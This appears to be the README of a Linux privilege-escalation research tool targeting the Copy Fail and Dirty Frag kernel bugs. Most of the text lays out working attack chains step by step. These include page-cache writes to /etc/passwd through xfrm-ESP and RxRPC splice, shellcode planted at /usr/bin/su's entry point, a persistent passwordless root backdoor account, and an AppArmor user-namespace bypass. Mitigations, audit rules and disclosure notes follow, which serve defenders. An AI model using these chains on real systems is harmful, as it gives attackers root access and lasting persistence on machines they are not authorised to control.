udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input
skb has frags, no frag_list ─▶ goto skip_cow (THE BUG)
crypto_authenc_esn_decrypt:
scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE
AEAD auth fails (EBADMSG) — but the STORE is permanent
page-cache copy of /etc/passwd now reports uid 0 for the user
Then exit the namespace, execlp("su", user) from the parent — same
final step as Copy Fail.
Dirty Frag RxRPC exploit (dirtyfrag_rxrpc.c + fcrypt.c)
[/etc/passwd page cache]
user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
produces predicate-satisfying plaintexts for offsets 4, 6, 8
(chained-ciphertext correction across passes)
fork → child enters new userns:
unshare(USER|NET); setup uid_map; ifup lo
socket(AF_RXRPC) — autoload rxrpc.ko
for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
udp_srv = bind 127.0.0.1:port_S
rxsk = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
rxsk → sendmsg(PINGPING) triggers handshake init
udp_srv ← receives kernel's first DATA-0
extract (epoch, cid, callNumber)
udp_srv → forged CHALLENGE → rxsk auto-RESPONSE
primes conn->rxkad.cipher with K
csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
vmsplice DATA hdr (28B) → pipe
splice /etc/passwd@off (8B) → pipe
splice pipe (36B) → udp_srv
udp loopback → rxsk
recvmsg → rxrpc_input → rxkad_verify_packet
skb has frags, no frag_list → goto skip_unshare (THE BUG)
skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
crypto_skcipher_decrypt: pcbc(fcrypt)
page[off..off+8] = fcrypt_decrypt(C_actual, K) ◄─ 8-byte STORE
child exits, parent verifies /etc/passwd[4..5] == "::"
parent: execlp("su", "-")
PAM common-auth: pam_unix.so nullok → root has empty password
su → setresuid(0,0,0) → exec /bin/bash
─────► root shell
--exploit-su shellcode injection (exploit_su.c)
A second /etc/passwd-free attack chain modeled on V4bel's reference
exploit. Instead of editing /etc/passwd's page cache, we plant
arch-specific shellcode at /usr/bin/su's ELF entry point in its
page cache; the next time anyone exec's /usr/bin/su, the kernel
sets euid=0 from the on-disk setuid bit, the dynamic linker
resolves, and control transfers to our shellcode → /bin/sh as
real init-ns root. No PAM dependency, bypasses pam_unix nullok
removal entirely.
parent (init ns)
│ stat /usr/bin/su; verify setuid+root
│ parse ELF header; resolve e_entry → file offset
│ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state
│ for each 4-byte chunk of shellcode:
│ cf_4byte_write("/usr/bin/su", file_offset+i, chunk)
│ pread() back; verify match
│ if --no-shell:
│ plant_shellcode(original) # revert via re-write
│ fadvise(DONTNEED) on a new fd # evict if possible
│ else:
│ execl("/usr/bin/su", "su", NULL) ─►
│ kernel exec /usr/bin/su (setuid root)
│ ld-linux.so resolves
│ jumps to e_entry → our shellcode
│ setuid(0); setgid(0);
│ execve("/bin/sh", argv, NULL)
▼ ────► root shell
Architecture matrix:
- x86_64 (56 bytes, 14 chained 4-byte writes) — tested
end-to-end on Fedora 44 (
uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t). Shellcode inshellcode_x86_64[]. - aarch64 (80 bytes, 20 instructions) — hand-encoded from the
ARMv8-A reference, never executed on hardware. Gated behind
DIRTYFAIL_AARCH64_TRUST_UNTESTED=1. Source ships intools/exploit_su_aarch64.Sfor community verification — assemble withaarch64-linux-gnu-asand confirm the byte sequence matchesshellcode_aarch64[]. - anything else → preconds_fail.
The state file /var/tmp/.dirtyfail-su.state stashes the original
entry-point bytes so --cleanup-su can restore. --list-state
inspects this file (and the backdoor's) without touching anything.
If the verify step finds the page cache doesn't match the planted shellcode (kernel patched, AF_ALG blacklisted, etc.), the auto-revert fires immediately and the state file is removed — no need for the operator to run cleanup-su afterward.
8.5 Architecture: outer/inner fork-based bypass
All five exploit modes share a common architecture for handling
Ubuntu's apparmor_restrict_unprivileged_userns=1 policy without
trapping the post-exploit su inside a userns where it can't reach
real init-ns root.
The problem
A naive bypass puts the whole dirtyfail process inside a fresh
user namespace via unshare(CLONE_NEWUSER). That's enough to register
XFRM SAs and fire splice triggers — but it also means the eventual
execlp("su", user) runs inside the userns, where uid 0 is mapped via
uid_map "0 1000 1" to the operator's outer uid (1000). PAM's
setresuid(0) then lands at userns-uid-0-mapped-to-1000, which is
not real init-ns root — cat /etc/shadow returns EACCES, the
shell can't actually do privileged operations.
The fix: outer/inner split
parent (dirtyfail, init ns) child (bypass userns)
───────────────────────── ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
execv self ─► STAGE-1
execv self ─► STAGE-2
unshare(USER|NET)
uid_map / capset
ifup lo
main() detects INNER_MODE
dispatch <mode>_inner()
register XFRM SA
splice trigger → page cache STORE
_exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
execlp("su", user) ← runs IN INIT NS
PAM auth → setresuid(0)
→ REAL init-ns root shell
else:
try_revert_passwd_page_cache
The parent never enters a user namespace. The child does the
bypass + kernel work, modifies the global page cache (which is shared
across namespaces — the only "bridge" we need), and exits. The
parent's su is then a normal init-namespace setresuid call.
Parent → child handoff via env vars
execv preserves the environment, so the parent stashes the
operation parameters in env vars before forking. Each mode defines
its own:
| Mode | Env vars |
|---|---|
esp / esp6 / gcm |
DIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER |
rxrpc |
DIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — fcrypt brute force happens in the parent (no caps needed); the keys are passed to the child for the actual triggers |
backdoor-install / backdoor-cleanup |
DIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE |
After stage 2 of the bypass completes, main() checks
DIRTYFAIL_INNER_MODE and dispatches to <mode>_exploit_inner(). The
inner does only the kernel work (no prompts, no fork, no su) and
exits with the result code. The parent reaps it via waitpid and
proceeds with verification.
Why the single-hop bypass
The earlier two-hop dance (change_onexec("crun") → change_onexec("chrome"))
caused intermittent ENOSPC failures on Ubuntu 24.04 in our exec
chain (likely a per-profile userns-accounting wrinkle). The single
hop into crun is sufficient — crun's AppArmor profile has
flags=(unconfined) and explicit userns, permission, so unshare
succeeds and stays succeeded.
Why no infinite re-exec loop
After stage 2 completes successfully, a process-local
g_bypass_done flag is set. If apparmor_bypass_needed() is called
again in the same process, it short-circuits to false, preventing
the post-exploit code from re-arming and nesting another userns
layer (which previously hit the per-userns nesting cap as ENOSPC).
--aa-bypass is now a debug-only flag
In the old architecture, --aa-bypass armed a whole-process bypass
before the exploit dispatch. In the new architecture, exploit modes
do their own fork-based bypass internally; the flag is no longer
needed for normal use. It's retained for debugging the bypass
mechanics in isolation (e.g. running --scan inside a bypass
userns), with a warning that it may break post-exploit su.
9. Mitigations
Copy Fail (CVE-2026-31431)
- Apply the patch. Mainline
a664bf3d; backports landed on the 6.12 / 6.17 / 6.18 stable lines. - Interim: blacklist
algif_aead:⚠ Note: this does not mitigate Dirty Frag. The xfrm-ESP path reaches the same authencesn primitive without going through algif_aead.echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf sudo rmmod algif_aead 2>/dev/null
Dirty Frag xfrm-ESP (CVE-2026-43284)
- Apply the patch. Mainline
f4c50a4034e6(merged 2026-05-07). Distro backports rolling out as of 2026-05-08. - Interim: blacklist
esp4andesp6:⚠ This breaks IPsec / strongSwan / libreswan VPNs.sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF' install esp4 /bin/false install esp6 /bin/false EOF sudo rmmod esp4 esp6 2>/dev/null sudo sysctl vm.drop_caches=3 - Defense in depth: disallow unprivileged user namespaces.
Ubuntu does this by default via AppArmor; on other distros:
sudo sysctl -w kernel.unprivileged_userns_clone=0
Dirty Frag RxRPC (CVE-2026-43500)
- No upstream patch yet. Researcher patch on lkml; not merged at time of writing (2026-05-08).
- Interim: blacklist
rxrpc:⚠ This breaks AFS distributed file system clients. Most servers don't need rxrpc.sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF' install rxrpc /bin/false EOF sudo rmmod rxrpc 2>/dev/null sudo sysctl vm.drop_caches=3
Combined one-liner (all three)
sudo sh -c '
cat > /etc/modprobe.d/dirtyfail.conf <<EOF
install algif_aead /bin/false
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
EOF
rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null
sysctl vm.drop_caches=3
'
Or use dirtyfail --mitigate
The same set of mitigations is wrapped in a typed-confirmation gated defensive mode:
sudo ./dirtyfail --mitigate
This drops in /etc/modprobe.d/dirtyfail-mitigations.conf and
/etc/sysctl.d/99-dirtyfail-mitigations.conf, unloads the four
modules, and drop_caches. Reverts via sudo ./dirtyfail --cleanup-mitigate. Side-effects: breaks IPsec, AFS clients, and
any userspace using AF_ALG AEAD. See docs/DEFENDERS.md for the
full sysadmin playbook.
Detection / monitoring
For ongoing detection independent of patching:
- Scan a host:
dirtyfail --scan --active(full sentinel-STORE probe) ordirtyfail --scan --active --jsonfor SIEM/fleet ingestion. Thetools/dirtyfail-check.shbash variant has zero build dependencies. - Audit rules:
tools/99-dirtyfail.rulesis a drop-in auditd ruleset covering the five syscall paths the exploit chain uses (XFRM netlink registration,add_key("rxrpc"),unshare(CLONE_NEWUSER),AF_ALGsocket creation,/etc/passwd//etc/shadowwrites). Install with:sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/ sudo augenrules --load && sudo systemctl restart auditd - Container blast-radius demo:
tools/dirtyfail-container-escape.shshows that the kernel page cache is shared across namespaces — useful for explaining the cross-tenant impact to operators.
10. Ethics & disclosure
DIRTYFAIL is a research tool. The vulnerabilities it covers are
already publicly disclosed with weaponized PoCs in the wild
(see Credits) — DIRTYFAIL adds detection coverage,
unified documentation, and a gentler PoC variant (UID-flip vs ELF
overwrite of /usr/bin/su).
- Do not run
--exploit-*modes on systems you do not own or are not explicitly authorized to test. Page-cache modifications are reversible withdrop_caches, but they are still privilege escalation while they persist. - Do not deploy DIRTYFAIL as a "scanner" against third-party
infrastructure without written authorization. The detection mode
is non-modifying for system files but does open a sentinel file in
/tmpand exercise the kernel crypto API. - If you find a vulnerable system in the wild, follow responsible disclosure to the operator, not the public.
Bonus: notes on the GCM variant + backdoor + AppArmor bypass
These three features extend DIRTYFAIL with techniques first published
by 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo. Reimplemented
in DIRTYFAIL style; original credit lives in NOTICE.md.
Copy Fail GCM variant
Same xfrm-ESP no-COW path as CVE-2026-43284, but using
rfc4106(gcm(aes)) instead of authencesn(...). Two reasons it's
worth shipping alongside the authencesn variant:
- Coverage. A defender who blacklisted
algif_aeadto mitigate Copy Fail (CVE-2026-31431) is still vulnerable here — the GCM path doesn't go through algif_aead. - Granularity. AES-GCM in counter mode XORs keystream onto the spliced byte. By brute-forcing the IV (~256 trials per byte) we land an arbitrary single byte at any file offset — no 4-byte alignment, no 4-byte side-effects.
The 1-byte primitive (cfg_1byte_write) is what makes the persistent
backdoor mode feasible.
Persistent backdoor
--exploit-backdoor picks the longest /etc/passwd line whose shell
is in {nologin, false, sync} and overwrites it byte-by-byte with
dirtyfail::0:0:<pad>:/:/bin/bash (length-matched). After installation,
su - dirtyfail from any user drops a root shell — no password prompt —
because pam_unix.so nullok accepts the empty password field.
The username dirtyfail is intentionally branded to this project so
it's easy to detect in any subsequent audit — defenders running
grep dirtyfail /etc/passwd (or any HIDS doing the same) will spot
the line immediately. If you need a different identifier for a
specific red-team engagement, change NEW_USER and DF_PREFIX in
src/backdoor.c.
The on-disk file is unchanged; the substitution lives in the page
cache only. --cleanup-backdoor restores the original line via the
same primitive.
AppArmor bypass
Ubuntu 24.04+ ships apparmor_restrict_unprivileged_userns=1. The
default profile applied to unprivileged binaries lets unshare(USER)
succeed but strips CAP_NET_ADMIN in the new namespace. XFRM SA
registration then fails silently.
The bypass: write "exec crun" to /proc/self/attr/exec and
execv to switch into AppArmor's crun profile, which has
flags=(unconfined) and explicit userns, permission. After the
exec, unshare(CLONE_NEWUSER | CLONE_NEWNET) succeeds with full
caps inside the new namespace.
DIRTYFAIL handles this per-exploit-mode via a fork: parent stays
in init namespace, child does the bypass + kernel work, parent
reads global page cache and runs su for real init-ns root. See
§8.5 Architecture
for the full chain. The legacy --aa-bypass flag (which armed the
bypass for the whole process) is retained for debugging only.
The original technique is from aa-rootns.c by 0xdeadbeefnetwork
(credited there to Brad Spengler / grsecurity). DIRTYFAIL's
implementation:
- Detects the restriction via the
kernel.apparmor_restrict_unprivileged_usernssysctl rather than by reading/proc/self/attr/current(which still shows "unconfined" on Ubuntu 24.04 even when the policy is restricting). - Uses a single hop into
crunrather than the two-hopcrun → chromedance — the second hop caused intermittentENOSPCon Ubuntu 24.04. - Sets a process-local
g_bypass_doneflag after stage 2 so re-checks short-circuit (preventing infinite re-exec loops that previously exhausted the per-userns nesting cap).
11. Credits
DIRTYFAIL is original code, but the techniques it implements were developed by the researchers below. Read their primary sources before deploying this tool — they are the canonical references.
| Source | Researcher | Contribution |
|---|---|---|
| https://copy.fail/ | Anonymous | Original Copy Fail disclosure |
| https://github.com/Smarttfoxx/copyfail | Smarttfoxx | C PoC (shellcode-in-su variant) |
| https://github.com/rootsecdev/cve_2026_31431 | rootsecdev | Python detector + UID-flip PoC; the ergonomics of DIRTYFAIL's --exploit-copyfail mode follow this approach. |
| https://github.com/V4bel/dirtyfrag | Hyunwoo Kim (@v4bel) | Dirty Frag discovery, full chain PoC, kernel patches |
| https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo | 0xdeadbeefnetwork | GCM-variant exploit, IPv6 PoC, AppArmor userns bypass technique |
| https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/ | BleepingComputer | Public reporting |
Patch authors:
f4c50a4034e6(Dirty Frag xfrm-ESP) — based on Hyunwoo Kim's v1 patch, with the merged shared-frag approach by Kuan-Ting Chen.- RxRPC patch — Hyunwoo Kim, pending merge.
License
MIT. See LICENSE.
Contact
Open an issue on this repository, or reach out at the address listed in the commit history. For coordinated disclosure of related issues, contact the upstream researchers above directly.